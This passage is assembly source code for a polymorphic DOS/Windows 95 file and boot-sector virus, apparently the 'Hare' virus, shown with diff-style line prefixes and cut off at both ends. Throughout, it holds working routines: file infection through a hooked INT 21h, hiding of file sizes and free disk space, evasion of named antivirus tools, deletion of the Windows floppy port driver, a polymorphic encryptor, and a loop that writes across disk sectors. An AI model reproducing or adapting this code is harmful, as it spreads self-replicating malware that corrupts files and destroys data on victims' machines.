Display text. + MOV BH, 00h + MOV CX, 3Dh + +Display_Char: LODSB ; String [si] to al + MOV AH, 0Eh ; Display character. + INT 10h + + LOOP Display_Char + + MOV DL, 80h +LOC_22: + MOV BH, DL + XOR DL, 01h + + MOV AH, 08h ; Get disk drive parameters. + INT 13h + + AND CL, 00111111b ; 0 - 63. + MOV AL, CL + MOV AH, 03h + PUSH AX + MOV DL, BH + MOV AH, 08h + INT 13h ; Disk dl=drive 0 ah=func 08h + ; get drive parameters, bl=type + ; cx=cylinders, dh=max heads + AND CL, 00111111b ; 0 - 63. + MOV AL, CL + MOV AH, 03h + MOV DL, BH + MOV CX, 0101h + PUSH AX + MOV BP, SP +LOC_23: + PUSH DX +LOC_24: + TEST DL, 00000001b + JNZ LOC_25 + + MOV AX, [BP] + JMP LOC_26 +LOC_25: + MOV AX,[BP+2] +LOC_26: + INT 13h ; ??INT NON-STANDARD INTERRUPT + XOR DL, 01h + + DEC DH + JNZ LOC_24 + + POP DX + + INC CH + JNZ LOC_23 + + ADD CL, 40h + JNC LOC_23 + + ADD DL, 2 + ADD SP, 4 + + JMP LOC_22 + +; Calls the original INT 21h. + +Traced_i21h: + PUSHF + CALL DWORD PTR CS:Traced_Int21h + + RETN + +Stealth_DiskSpace: + + PUSH BX + PUSH AX + + MOV AH, 62h ; Get PSP-address. + CALL Traced_i21h + + POP AX + + CMP CS:PSP_Segment, BX + JNE LOC_28 + + CMP CS:Trace_Function, DL ; Drive. + JNE LOC_28 + + POP BX + POPF + + CALL Traced_i21h + MOV BX, CS:Free_Clusters ; Fake # of free clusters. + + RETF 2 + +LOC_28: + MOV CS:PSP_Segment, BX + MOV CS:Trace_Function, DL ; Save drive. + POP BX + POPF + CALL Traced_i21h ; Execute function. + + MOV CS:Free_Clusters, BX ; Genuine # of free clusters. + + RETF 2 + +Stealth_Filesize: + + CALL DWORD PTR CS:Int21h ; Execute function. + + PUSHF + PUSH AX + PUSH BX + PUSH ES + + TEST CS:Flags, 00000010b ; Stealth-Mode off? + JNZ Exit_Size_Stealth ; Then no file-stealth. + + OR AL, AL ; No error occurred? + JNZ Exit_Size_Stealth ; Else exit. + + MOV AH, 2Fh ; Get DTA-address. + CALL Traced_i21h + + CMP CS:Function_i21h, 40h ; FCB/Dir ? + JA Dir_Stealth + + OR WORD PTR ES:[BX+26h], 0 + JNZ LOC_30 + + CMP ES:[BX+24h], 1E9Ch + JB Exit_Size_Stealth +LOC_30: + MOV AX, ES:[BX+1Eh] + AND AL, 00011111b ; Erase all but seconds. + + CMP AL, 00010001b ; 34 seconds? + JNE Exit_Size_Stealth + + SUB WORD PTR ES:[BX+24h], (Virus_Size + 70) + SBB WORD PTR ES:[BX+26h], 0 + + JMP Exit_Size_Stealth + +Dir_Stealth: + OR WORD PTR ES:[BX+1Ch], 0 + JNZ LOC_32 + + CMP ES:[BX+1Ah], 1E9Ch + JB Exit_Size_Stealth +LOC_32: + MOV AX,ES:[BX+16h] ; Get time in AX. + AND AL, 00011111b + + CMP AL, 00010001b ; 34 seconds? + JNE Exit_Size_Stealth + + SUB WORD PTR ES:[BX+1AH], (Virus_Size + 70) + SBB WORD PTR ES:[BX+1CH], 0 + +Exit_Size_Stealth: + + POP ES + POP BX + POP AX + POPF + + RETF 2 + + +Size_Stealth: MOV CS:Function_i21h, AH ; Save function #. + JMP Stealth_Filesize + +Function_i21h DB 4Eh + +Residency_Check: + MOV AX, 0Dh ; Return our sign. + POPF + + RETF 2 + +NewInt21h: + PUSHF + + CMP AX, 0FE23h ; Residency-check. + JE Residency_Check + + CMP AH, 36h ; Get free diskspace. + JNE Check_Next_3 + + JMP Stealth_DiskSpace +Check_Next_3: + CMP AH, 4Ch ; Program terminate. + JE Check_PSP_Infect + + CMP AH, 31h ; Terminate & stay resident. + JE Check_PSP_Infect + + CMP AH, 00h ; Terminate program. + JE Check_PSP_Infect + + CMP AX, 4B00h ; Program execute. + JNE Check_Next_4 + + CALL Infect_Exec +Check_Next_4: + CMP AH, 11h ; Findfirst (FCB). + JE Size_Stealth + + CMP AH, 12h ; Findnext (FCB). + JE Size_Stealth + + CMP AH, 4Eh ; Findfirst (handle). + JE Size_Stealth + + CMP AH, 4Fh ; Findnext (handle). + JE Size_Stealth + + CMP AH, 3Dh ; Open file (handle). + JNE Check_Next_5 + + CALL Clean_File + +Check_Next_5: + CMP AH, 3Eh ; Close file (handle). + JNE LOC_39 + + POPF + CALL Infect_Close + + RETF 2 ; Return to caller. +LOC_39: + POPF + JMP DWORD PTR CS:Int21h + +Check_PSP_Infect: + AND CS:Flags, 00000100b + + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH ES + PUSH DS + + MOV AH, 62h ; Get PSP. + CALL Traced_i21h + JC Exit_PSP_Check + + CLD + MOV ES, BX + MOV ES, ES:[2Ch] + XOR DI, DI + MOV AL, 00h +LOC_41: + MOV CX, 0FFFFh + REPNE SCASB + + CMP ES:[DI], AL + JNE LOC_41 + + ADD DI, 03h + MOV DX, DI + + PUSH ES + POP DS + + MOV AX, 3D00h ; Open file... + CALL Traced_i21h + JC Exit_PSP_Check + + MOV BX, AX ; And infect it on closing. + CALL Infect_Close + +Exit_PSP_Check: + + POP DS + POP ES + POP DI + POP DX + POP CX + POP BX + POP AX + POPF + + JMP DWORD PTR CS:Traced_Int21h + + +; AX = 4B00h + +Infect_Exec: + PUSH AX ; Save registers. + PUSH BX + PUSH CX + PUSH DX + PUSH ES + PUSH DS + PUSH DI + PUSH SI + + CALL Check_To_Del_Driver + CALL Set_Dummy_Handlers + CALL Save_FileAttr + CALL Check_FileName + + PUSHF + PUSH DS + + PUSH CS + POP DS + + MOV DI, 0 + ORG $-2 +Gaby1 DW OFFSET FileName1 + MOV SI, OFFSET FileName2 + + ADD BX, 04h + MOV CX, BX + REP MOVSB + + POP DS + POPF + JC Exit_Infect_Exec ; Special file? + + MOV AX, 3D02h ; Open file r/w. + CALL Traced_i21h + + XCHG BX, AX ; BX = Filehandle. + CALL Save_FileTime + MOV AX, CS:Trace_Int ; Get filetime. + AND AL, 00011111b ; Mask seconds. + PUSH AX + + MOV AH, 3Fh ; Read header. + MOV CX, 28 + + PUSH CS + POP DS + + PUSH DS + POP ES + + MOV DX, OFFSET Buffer + CALL Traced_i21h + + MOV SI, DX + CLD + LODSW ; Get 1st word from header. + + CMP AX, 'ZM' ; True .EXE-file? + JE Is_EXE + + CMP AX, 'MZ' ; True .EXE-file? + JNE Is_COM ; Else it's a .COM-file. + +Is_EXE: + POP AX ; POP filetime. + + TEST Flags, 00000100b + JZ LOC_44 + + CMP AL, 11h + JE LOC_47 + + CALL Infect_EXE + JNC LOC_46 + + JMP Exit_Infect_Exec +LOC_44: + CMP AL, 11h + JNE LOC_47 + + CALL SUB_41 + JNC LOC_47 + + JMP Exit_Infect_Exec + +Is_COM: + POP AX ; AX = Filetime. + + CMP AL, 11h ; 34 seconds, infected? + JE Exit_Infect_Exec + + CALL Infect_COM + JC LOC_47 +LOC_46: + MOV AX, Trace_Int ; Set infected timestamp. + AND AL, 11100000b + OR AL, 11h ; 34 seconds. + MOV Trace_Int, AX +LOC_47: + CALL Restore_FileTime + +Exit_Infect_Exec: + + MOV AH, 3Eh ; Close file. + CALL Traced_i21h + + CALL Restore_FileAttr + CALL Restore_Dummy_Handlers + + POP SI ; Restore registers. + POP DI + POP DS + POP ES + POP DX + POP CX + POP BX + POP AX + + RETN + + +; Checks if INT 13h part is resident, and deletes portdriver if so. + +Check_To_Del_Driver: + + CALL Del_PortDriver + + MOV AX, 160Ah ; Identify Windows version + INT 2Fh ; and type. + + OR AX, AX ; Legal function? + JNZ Exit_Del_PortDriver + + CMP BH, 04h ; Windows ver. 4 or higher? + JB Exit_Del_PortDriver + + MOV AX, 5445h ; INT 13h residency-check. + INT 13h + + CMP AX, 4554h ; INT 13h part installed? + JNE Exit_Del_PortDriver + + CALL Del_PortDriver + JC LOC_49 ; File not found? + + RETN +LOC_49: + CALL Unslice_Int13h + +Exit_Del_PortDriver: + + RETN + + + +Infect_EXE: + CMP Reloc_Offs, 40h ; PE-header? + JNE LOC_52 + + STC +LOC_51: + JMP Exit_Infect_EXE +LOC_52: + MOV DI, OFFSET Old_Entry ; Save old CS:IP. + MOV SI, OFFSET Init_IP + + MOVSW + MOVSW + + MOV SI, OFFSET Init_SS ; Save old SS:SP. + MOV DI, OFFSET Old_Stack+2 + MOVSW + SUB DI, 04h + MOVSW + + MOV SI, DX ; Buffer. + MOV Host_Type, 01h ; Host is .EXE-file. + + CALL Check_Infect ; Suitable for infection? + JC LOC_51 ; CF set if not. + + MOV AX, Trace_Int ; Save time. + MOV FileTime, AX + + MOV AX, [SI+2] ; Filesize MOD 512. + MOV Old_Mod512, AX + + MOV AX, [SI+4] ; File in 512-byte pages. + MOV Old_Byte_Pages, AX + + MOV AX, [SI+4] ; + MOV DX, 512 + + CMP WORD PTR [SI+2], 0 ; No rounding? + JE LOC_53 + + DEC AX ; +LOC_53: + MUL DX ; Calculate filesize. + MOV Temp1+2, DX + MOV DX, [SI+2] + ADD AX, DX ; Plus filesize MOD 512. + ADC Temp1+2, 00h + MOV Temp1, AX + + PUSH AX + + XOR CX, CX ; Go to end of file. + MOV DX, CX ; DX:AX = Filesize. + MOV AX, 4202h + CALL Traced_i21h + + SUB AX, Temp1 ; Same size as in header? + JZ Good_Size_Lo ; (ie. no internal overlay?). + + POP AX + STC + + JMP Exit_Infect_EXE + +Good_Size_Lo: + SUB DX, Temp1+2 ; Same size as in header? + JZ Good_Size_Hi + + POP AX + STC + + JMP Exit_Infect_EXE + +Good_Size_Hi: + POP AX ; Filesize low. + MOV CX, Temp1+2 ; Filesize high. + MOV DX, AX + MOV AX, 4200h ; Go to end file. + CALL Traced_i21h + + MOV AX, 1E7Bh + MOV DX, [SI+2] ; Filesize MOD 512. + ADD DX, AX +LOC_56: + INC WORD PTR [SI+4] ; Filesize in 512-byte pages. + SUB DX, 512 + + CMP DX, 512 + JA LOC_56 + + JNE LOC_57 + XOR DX, DX +LOC_57: + MOV [SI+2], DX + + MOV AX, [SI+8] ; Size header in paragraphs. + MOV CX, 16 + MUL CX ; Calculate headersize bytes. + + MOV CX, Temp1 ; Filesize minus headersize. + SUB CX, AX + SBB Temp1+2, DX + + MOV DI, Temp1+2 ; Filesize high. + MOV SI, CX ; Filesize low. + + MOV DX, DI + MOV AX, SI + MOV CX, 16 + DIV CX ; Filesize DIV 16. + + MOV DI, AX + MOV SI, DX + + MOV Host_Entrypoint, SI + MOV Padding, SI ; 0 - 15 bytes padding. + + ADD SI, OFFSET Buffer ; Plus end of virus. + MOV Temp1, SI + MOV Temp1+2, DI + + CLD ; Set host's new entrypoint. + MOV SI, OFFSET Temp1 + MOV DI, OFFSET Init_IP + + MOVSW + MOVSW + + CALL Poly_Engine ; Polymorphic encryptor. + JC Exit_Infect_EXE + + XOR CX, CX ; Go to start of file. + MOV DX, CX + MOV AX, 4200h + CALL Traced_i21h + + CALL Make_Random_Stack + + MOV DX, OFFSET Buffer ; Write updated header. + MOV AH, 40h + MOV CX, 28 + CALL Traced_i21h + +Exit_Infect_EXE: + + RETN + + + +Infect_COM: + MOV Host_Type, 00h ; Set host as .COM-file. + CLD + MOV DI, OFFSET Host_COM_JMP + MOV SI, OFFSET Buffer + CALL Check_Infect ; Suitable for infection? + JC LOC_59 + + MOV CX, 3 ; Copy first 3 bytes of host + REP MOVSB ; to our storage-place. + + MOV DX, CX ; Go to end of file. + MOV AX, 4202h ; DX:AX = Filesize. + CALL Traced_i21h + + OR DX, DX ; File under 64k? + JZ LOC_60 +LOC_59: + STC + JMP Exit_Infect_COM +LOC_60: + CMP AX, 30 ; File too small? + JB LOC_59 + + XOR CX, CX ; Go to end of file. + MOV DX, CX ; DX:AX = Filesize. + MOV AX, 4202h + CALL Traced_i21h + + CMP AX, 55701 ; File too big? + JB LOC_61 + + STC ; Set carry-flag (error). + JMP Exit_Infect_COM + +LOC_61: + MOV Host_Entrypoint, AX + ADD Host_Entrypoint, 100h + MOV Padding, AX ; Virus entrypoint. + ADD Padding, 100h ; Plus .COM-entrypoint. + + MOV DI, OFFSET JMP_COM + MOV BYTE PTR [DI], 0E9h ; JMP opcode. + SUB AX, 3 ; Minus displacement. + ADD AX, Virus_Size ; Plus entrypoint. + MOV [DI+1], AX ; Store it. + + CALL Poly_Engine ; Append polymorphic copy. + JC Exit_Infect_COM + + XOR CX, CX ; Go to start file. + MOV DX, CX + MOV AX, 4200h + CALL Traced_i21h + + MOV CX, 3 ; Write JMP Virus to start + MOV DX, OFFSET JMP_COM ; of .COM-file. + MOV AH, 40h + CALL Traced_i21h + +Exit_Infect_COM: + + RETN + + +Save_FileTime: + MOV AX, 5700h ; Get filetime. + CALL Traced_i21h + MOV CS:Trace_Int, CX + MOV CS:Trace_Int+2, DX + + RETN + + +; Guess what...!? +Restore_FileTime: + + MOV AX, 5701h ; Set timestamp. + MOV CX, CS:Trace_Int + MOV DX, CS:Trace_Int+2 + CALL Traced_i21h + + RETN + + + +; +; Saves file attributes, and clears them afterwards. +; In: BX = Filehandle. +; +Save_FileAttr: + MOV AX, 4300h ; Get file-attributes. + CALL Traced_i21h + + MOV CS:CodeSegment, CX + MOV AX, 4301h ; Clear file-attributes. + XOR CX, CX + CALL Traced_i21h + + RETN + + +Restore_FileAttr: + + MOV AX, 4301h ; Set file-attributes. + MOV CX, CS:CodeSegment + CALL Traced_i21h + + RETN + +SUB_14: + PUSH DS + + PUSH CS + POP DS + + CLD + MOV SI, OFFSET FileName2 + SUB BX, 4 + JC LOC_63 + + MOV AX, [SI] + + CMP AX, 'BT' ; TBAV utilities? + STC + JE LOC_63 + + CMP AX, '-F' ; F-Prot? + JE LOC_65 + + CMP AX, 'VI' ; Invircible? + JE LOC_65 + + CMP AX, 'HC' ; CHKDSK.EXE ? + JE LOC_64 + + MOV AL, 'V' ; Filename contains a 'V' ? + MOV DI,OFFSET FileName2 + MOV CX, BX + INC CX + REPNE SCASB + + OR CX, CX ; Found? + STC + JNZ LOC_63 ; Then exit with carry set. + + MOV DI, OFFSET FileName2 ; Filename is COMMAND.* ? + MOV SI, OFFSET Command_Com + MOV CX, BX + REPE CMPSB + + OR CX, CX ; Found? + STC + JZ LOC_63 ; Then exit with carry set. + CLC +LOC_63: + POP DS + RETN +LOC_64: + OR Flags, 00000010b + POP DS + RETN +LOC_65: + OR Flags, 00000001b + STC + POP DS + + RETN + + + +Check_FileName: + PUSH DS + POP ES + + XOR AL, AL + MOV DI, DX + XOR CX, CX + MOV CL, 0FFh + MOV BX, CX + CLD + REPNE SCASB ; Find end of ASCIIZ-string. + + DEC DI + DEC DI + SUB BX, CX + MOV CX, BX + STD + MOV AL, '\' + REPNE SCASB ; Find start filename. + + SUB BX, CX + MOV CX, BX + INC DI + MOV AL,ES:[DI] + + CMP AL, '\' + JNE LOC_66 + + INC DI + MOV SI, DI + MOV DI, OFFSET FileName2 + DEC CX + DEC BX + CLD + + PUSH CS + POP ES + + REP MOVSB + CALL SUB_14 + + RETN +LOC_66: + MOV BX, 0Ah + + PUSH CS + POP ES + + RETN + +FileName1 DB 'DUM1.EXE.EXE', 0 +FileName2 DB 'DUM1.EXECOME', 0 +Command_Com DB 'COMMAND' +Port_Driver DB '\SYSTEM\IOSUBSYS\HSFLOP.PDR', 0 + + + +; Searches the program environment to find a 'WIN'-string. This matches +; normally to either WINBOOTDIR or WINDOWS, thus the Windows directory. +; It then appends the path '\SYSTEM\IOSUBSYS\HDFLOP.PDR' to the found +; directoryname. The file HSFLOP.PDR handles the port-level-access to disks, +; without it Windows needs to use the slow INT 13h (which the virus has +; hooked). Hare does this to also infect bootsectors under Windows 95/NT. + +Del_PortDriver: + + PUSH DS + PUSH DX + + XOR DI, DI + +Find_String: + MOV CX, 0FFFFh + + MOV AH, 62h ; Get PSP. + INT 21h + + MOV ES, BX + MOV ES, ES:[2Ch] ; ES = Program's environment- + CLD ; block (PATH, SET, etc). + +Get_Next_String: + + MOV AL, 0 + REPNE SCASB ; Find end of ASCIIZ-string. + MOV AX, ES:[DI] ; Get first word. + + OR AL, AL ; No settings? + JZ Exit_Del_Driver ; Then exit routine. + + AND AX, 1101111111011111b ; Convert to uppercase. + + CMP AX, 'IW' ; WINBOOTDIR/WINDOWS? + JNE Get_Next_String + + MOV AL, ES:[DI+2] ; Get third character. + AND AL, 11011111b ; To uppercase. + + CMP AL, 'N' ; Have we found WIN ? + JNE Get_Next_String + + MOV AL, '=' ; Value. + + REPNE SCASB ; Find '='. + JCXZ Exit_Del_Driver ; Not found? + + MOV SI, DI + MOV BX, DI + MOV DI, OFFSET Buffer + MOV DX, DI + + PUSH ES + POP DS + + PUSH CS + POP ES + + + ; This copies the string found above to our buffer. +Copy_Byte: + LODSB ; Copy byte to our buffer. + STOSB + + OR AL, AL ; End reached? + JNZ Copy_Byte ; No, then continue copy. + + DEC DI + + PUSH CS + POP DS + + MOV SI, OFFSET Port_Driver ; Append path to Windows-dir. + MOV CX, 28 + REP MOVSB + + MOV AH, 41h ; Delete portdriver. + CALL Traced_i21h + JNC Exit_Del_Driver + + CMP AL, 02h ; File not found? + ; (Wrong string fetched?) + MOV DI, BX + JZ Find_String + + STC +Exit_Del_Driver: + + POP DX + POP DS + + RETN + +DATA_70 DB 0 + DB 1Ah, 02h ; Read real-time clock. + DB 1Ah, 04h ; Read date from real-time clock. + DB 1Ah, 03h ; Set real-time clock. + DB 10h, 08h ; Read character and attribute. + DB 10h, 0Fh ; Get current display mode. + DB 10h, 0Bh ; Set color palette. + DB 21h, 0Dh ; Reset disk. + DB 21h, 18h ; Reserved. + DB 21h, 19h ; Get default drive. + + DB '!*!,!0!M!Q!T!b!' ; AND opcodes. + DB 0Bh, 21h, 0Dh, 21h +Int_Table: + INT 2Bh + INT 2Ch + INT 2Dh + INT 28h + INT 1Ch ; This is bad programming! + INT 08h ; This 1 2! + INT 0Ah + INT 0Bh + INT 0Ch + INT 0Dh + INT 0Fh + INT 0Eh + INT 70h + INT 71h + INT 72h + INT 73h + INT 74h + INT 75h + INT 76h ; Can cause problems 4 example wit MegaStealth. + INT 77h + INT 01h + INT 03h ; 1 byte breakpoint. + INT 03h +PushPop_Pairs: + PUSH AX + POP AX + PUSH BX + POP BX + PUSH CX + POP CX + PUSH DX + POP DX + PUSH DI + POP DI + PUSH SI + POP SI + PUSH BP + POP BP + PUSH DS + POP DS + PUSH ES + POP ES + PUSH SS + POP SS + +Random DW 0 +DATA_74 DB 1Eh + + +SUB_17: + CALL Get_Random_Poly ; Get random# in AX. + + TEST AH, 00010000b ; 1/8 chance. + JZ LOC_74 + + CMP BL, 02h + JE LOC_72 + + CMP BL, 04h + JE LOC_73 + + JMP LOC_74 + + +LOC_72: + ADD AL, 64 + JNC LOC_72 + + AND AL, 11111110b ; + + CMP AL, DATA_74 + JE SUB_17 + + MOV DATA_74, AL + + PUSH SI + + CBW + XCHG BX, AX + MOV SI, OFFSET Int_Table + MOV AX, [BX+SI] + + POP SI + + MOV BL, 02h + + RETN + +LOC_73: + ADD AL, 38 + JNC LOC_73 + + AND AL, 11111110b + + CMP AL, DATA_74 + JE SUB_17 + + MOV DATA_74, AL + PUSH SI + CBW + XCHG BX, AX + MOV SI, OFFSET DATA_70 + MOV AH, [BX+SI] + MOV DH, [BX+SI+1] + MOV AL, 0B4h + MOV DL, 0CDh + POP SI + MOV BL, 04h + + RETN +LOC_74: + MOV BL, 00h + + RETN + + + + +SUB_18: + MOV BP, 03h +LOC_75: + DEC BP + JZ LOC_RET_78 + + CALL SUB_17 + ADD CL, BL + + CMP BL, 2 + JB LOC_77 + JA LOC_76 + + STOSW + JMP LOC_75 +LOC_76: + STOSW + + MOV AX, DX + STOSW +LOC_77: + JMP LOC_75 + +LOC_RET_78: + RETN + +; +; +; +; Returns: BX = Random number 0 - 2. + +Get_Ran_3: + XOR BX, BX +LOC_79: + PUSH AX + CALL Get_Random_Poly + MOV BL, AL + POP AX + MOV AL, BL + + OR BL, BL + JZ LOC_79 + + AND BL, 00000011b ; 0 - 3. + + CMP BL, 3 ; 0 - 2. + JB LOC_RET_80 + + JMP LOC_79 + +LOC_RET_80: + RETN + + +Check_Poly_Sector: + + PUSH CS + PUSH CS + POP ES + POP DS + + MOV AH, 08h ; Get disk drive parameters + MOV DL, 80h ; of 1st harddisk. + INT 13h + + MOV BX, OFFSET Poly_Sector + MOV AX, 0201h + INC CH ; Last track of harddisk. + DEC DH ; + DEC DH + MOV CL, 01h ; 1st sector. + MOV DL, 80h + INT 13h + JC Exit_Poly_Check + + CALL Get_Random + AND AL, 00001111b ; 0 - 15. + + CMP AL, 7 + JE Gen_Poly_Sector + + CMP [BX], 0CCDDh ; Polysector already present? + JE Exit_Poly_Check + +Gen_Poly_Sector: + MOV CX, 256 ; 256 words. + MOV DI, BX + +Store_Random: + CALL Get_Random + ADD AX, [DI-2] ; Add previous value. + MOV [DI], AX + INC DI + INC DI + LOOP Store_Random + + MOV [BX], 0CCDDh ; Polysector signature. +LOC_83: + MOV AH, 08h ; Get disk drive parameters. + MOV DL, 80h + INT 13h + + MOV BX, OFFSET Poly_Sector ; Write polysector to disk. + MOV AX, 0301h + INC CH + DEC DH + DEC DH + MOV CL, 01h + MOV DL, 80h + INT 13h + JC LOC_85 + +Exit_Poly_Check: + + RETN +LOC_85: + MOV AX, 440Dh + MOV BX, 180h + MOV CX, 84Bh + INT 21h ; DOS Services ah=function 44h + ; IOctl-D block device control + ; bl=drive, cx=category/type + ; ds:dx ptr to parameter block + JMP LOC_83 + +; +; Gets a random number from the polymorphic sector. +; Returns: AX = Random number. +; +Get_Random_Poly: + + PUSH BX + + MOV BX, CS:Poly_Sector + + CMP BX, 512 + JB LOC_86 + + AND BX, 00000001b ; 0 - 1. + XOR BL, 00000001b ; Flip. +LOC_86: + ADD BX, 2 ; Next word. + MOV CS:Poly_Sector, BX + MOV AX, CS:[Poly_Sector+BX] + + POP BX + + RETN + + +; +; Return: AX = Random value (1 - 65535). +; +Get_Random: + XOR AL, AL + OUT 43h, AL ; port 43H, 8253 timer control + ; al = 0, latch timer0 count + JMP $+2 ; Delay for I/O. + IN AL, 40h + MOV AH, AL + + IN AL, 40h + XOR AL, AH + + XCHG AL, AH + PUSH CX + MOV CL, AH + AND CL, 00001111b + ROL AX, CL + MOV CX, AX + AND CX, 0000011111111111b + +Delay_Loop: + JMP $+2 + NOP + LOOP Delay_Loop + + POP CX + XOR CS:Random, AX + ADD AX, CS:Random + + OR AH, AH + JZ Get_Random + + OR AL, AL + JZ Get_Random + + RETN + +Poly_Engine: + PUSH SI + PUSH BX ; Filehandle. + + CLD + MOV Poly_Sector, 0 + XOR SI, SI + MOV DI, OFFSET Undoc + MOV DATA_77, 1C6Ah + + MOV AX, Host_Entrypoint + MOV DATA_84, AX + + CALL Get_Ran_3 + + MOV AL, [BX+Encr_Methods] + MOV AH, 0E0h + MOV word ptr Poke1, AX + MOV word ptr Shit3, AX + XOR BL, 03h + + MOV AL, Encr_Methods[BX] + MOV Shit2, AL + CALL Get_Random_Poly + MOV DATA_94, AL + MOV Key_3, AL + MOV DATA_82, AH + + POP BX + PUSH BX + + MOV word ptr Decrypt_2, 0F72Eh + MOV BYTE PTR Key_2, 15h + MOV CX, 14h + + +LOCLOOP_89: + LODSB ; String [si] to al +Shit3: + +;* SUB AL,AH + DB 28H,0E0H ; Fixup - byte match + STOSB ; Store al to es:[di] + LOOP LOCLOOP_89 ; Loop if cx > 0 + + MOV CX, 1ECh + +LOCLOOP_90: + LODSB ; String [si] to al + + CMP SI,1A3H + JB LOC_91 + + XCHG DATA_94, AH + XOR AL, AH + ADD AH, 01h + XCHG DATA_94, AH +LOC_91: + NOT AL +Poke1: +;* SUB AL,AH + DB 28H,0E0H ; Fixup - byte match + STOSB + LOOP LOCLOOP_90 + + CALL SUB_38 + JC LOC_94 + + MOV CX,DATA_77 + JCXZ LOC_93 ; Jump if cx=0 + + SUB CX, 200h + JC LOC_92 + + MOV DATA_77, CX + MOV CX, 200h + + JMP LOCLOOP_90 +LOC_92: + ADD CX, 512 + MOV DATA_77, 0 + + MOV DX, CX + + JMP LOCLOOP_90 +LOC_93: + CALL SUB_39 + CALL SUB_31 + CALL SUB_24 + + MOV DX, 1F6Ah + MOV AH, 40h + ADD CX, 11h + NOP + CALL Traced_i21h + CLC +LOC_94: + POP BX + POP SI + + RETN + + +SUB_24: + PUSH BX + PUSH BP + + MOV SI, OFFSET Undoc + MOV DI, OFFSET Drew1 + + XOR CX, CX + + CALL Make_Clear_Flags + MOV BL, 04h + CALL SUB_18 + CALL SUB_34 + CALL SUB_36 + CALL Make_Uncon_JMP + CALL SUB_25 + CALL Make_Uncon_JMP + CALL SUB_25 + CALL Make_Uncon_JMP + CALL SUB_25 + CALL Make_Uncon_JMP + MOV BL, 02h + CALL SUB_18 + CALL Make_Uncon_JMP + CALL Get_Random_Poly + + CMP AH, 128 + JB LOC_95 + + MOVSB + JMP LOC_96 +LOC_95: + OR Flags, 00010000b + SUB CL, 01h + INC SI +LOC_96: + CALL Make_Uncon_JMP + CALL SUB_28 + MOV CH,CL + MOV BL, 2 + CALL SUB_18 + CALL Make_Uncon_JMP + MOVSW + MOVSB + CALL Make_Uncon_JMP + CALL SUB_33 + MOV BL,2 + CALL SUB_18 + CALL SUB_27 + MOV BL,2 + CALL SUB_18 + CALL Make_Uncon_JMP + CALL SUB_26 + MOV BL,2 + CALL SUB_18 + CALL Make_Uncon_JMP + MOV AL,CL + SUB AL,CH + MOV CH,AL + LODSW ; String [si] to ax + SUB AH, CH + STOSW + MOV BL, 02h + CALL SUB_18 + CALL Make_Uncon_JMP + CALL SUB_30 + CALL Get_Random_Poly + AND AL, 00000111b + ADD CL, AL + MOV CH, 00h + + CMP Host_Type, CH + JE LOC_97 + + ADD File_Mod512, CX + CMP File_Mod512, 512 + JB LOC_97 + + INC Byte_Pages ; Rounding. + + SUB File_Mod512, 512 + JNZ LOC_97 + + DEC Byte_Pages +LOC_97: + POP BP + POP BX + + RETN + + +SUB_25: + PUSH CX + + XOR CX, CX + MOV AL, DATA_92 + MOV CL, AL + SHR AL, 2 ; DIV 4. + MOV DATA_92, AL + + AND CL, 03h + REP MOVSB + + POP CX + + RETN + + +SUB_26: + CALL Get_Random_Poly + + CMP BYTE PTR DATA_97,4 + JAE LOC_98 + + XOR AL, AH + JP LOC_98 ; Jump if parity=1 + + MOVSB + + RETN +LOC_98: + MOV BL, DATA_96 + MOV BH, 00h + + CMP BYTE PTR DATA_97, 06h + JAE LOC_100 + + CMP BYTE PTR DATA_97, 04h + JAE LOC_99 + + TEST AL, 00000001b + JNZ LOC_100 +LOC_99: + MOV DL, 01h + MOV DH, Uncon_Jumps[BX] + + JMP LOC_101 +LOC_100: + MOV DL, 0FFh + MOV DH, [BX+DATA_109] +LOC_101: + TEST AL, 00000010b + JNZ LOC_102 + + MOV AL, 81h + STOSB + + MOV AL, DH + STOSB + + MOV AL, DL + CBW + STOSW + INC SI + ADD CL, 03h + RETN +LOC_102: + MOV AL, 83h ; ADD + STOSB + + MOV AL, DH + STOSB + + MOV AL, DL + STOSB + + INC SI + ADD CL, 02h + RETN + + DB 0C3H + + +SUB_27: + CALL Get_Random_Poly + XOR AL, AH + JNS LOC_103 ; Jump if not sign + MOVSB + + RETN +LOC_103: + MOV BL, DATA_94 + MOV BH, 00h + CMP DATA_93, 80h + NOP + JA LOC_105 + + TEST AL, 00000001b + JNZ LOC_104 + + MOV DL, 01h + MOV DH, Uncon_Jumps[BX] + + JMP LOC_107 +LOC_104: + MOV DL, 0FFh + MOV DH, DATA_109[BX] + JMP LOC_107 +LOC_105: + TEST AL, 00000001b + JNZ LOC_106 + + MOV DL, 01h + MOV DH, DATA_109[BX] + JMP LOC_107 +LOC_106: + MOV DL, 0FFh + MOV DH, Uncon_Jumps[BX] +LOC_107: + TEST AL, 00000010b + JNZ LOC_108 + + MOV AL, 81h + STOSB + + MOV AL, DH + STOSB + + MOV AL, DL + CBW + STOSW + + INC SI + ADD CL, 03h + RETN + +LOC_108: + MOV AL, 83h ; ADD + STOSB + + MOV AL, DH + STOSB + + MOV AL, DL + STOSB + + INC SI + ADD CL, 02h + + RETN + + + +SUB_28: + CMP DATA_93, 128 + NOP + JA LOC_RET_112 + + PUSH DX + MOV DX, OFFSET Buffer + MOV AL, DATA_93 + AND AL, 07h + CBW + INC AX + ADD DX,AX + MOV BL,DATA_97 + + CMP BL, 06h + JE LOC_109 + + TEST BL, 00000001b + JNZ LOC_109 + + DEC DX +LOC_109: + MOV AH, AL + XOR BX, BX + MOV BL, DATA_94 + MOV AL, 81h + STOSB + + TEST AH, 00000001b + JZ LOC_110 + + MOV AL, Uncon_Jumps[BX] ; Store JMP opcode. + STOSB + + MOV AX, DX + NEG AX + STOSW + JMP LOC_111 +LOC_110: + MOV AL, DATA_109[BX] + STOSB + + MOV AX, DX + STOSW +LOC_111: + ADD CL,4 + POP DX + +LOC_RET_112: + RETN + + + +Make_Uncon_JMP: + CALL Get_Random_Poly + + TEST AL, 00100000b ; 1/8 chance. + JZ LOC_RET_116 + + TEST AL, 00001000b ; 1/8 chance. + JZ LOC_113 + + AND AH, 03h ; 0 - 3. + ADD AH, 01h ; Prevent zero JMP. + + MOV AL, 0EBh ; JMP SHORT opcode. + STOSW ; Store JMP SHORT. + + ADD CL, 02h + MOV AL, AH + + JMP LOC_114 +LOC_113: + AND AH, 03h ; 0 - 3. + ADD AH, 01h ; 1 - 4. + + MOV AL, 0E9h ; Store JMP opcode. + STOSB + + MOV AL, AH ; Store dataword. + CBW + STOSW + + ADD CL, 3 +LOC_114: + MOV BL, AL +LOC_115: + CALL 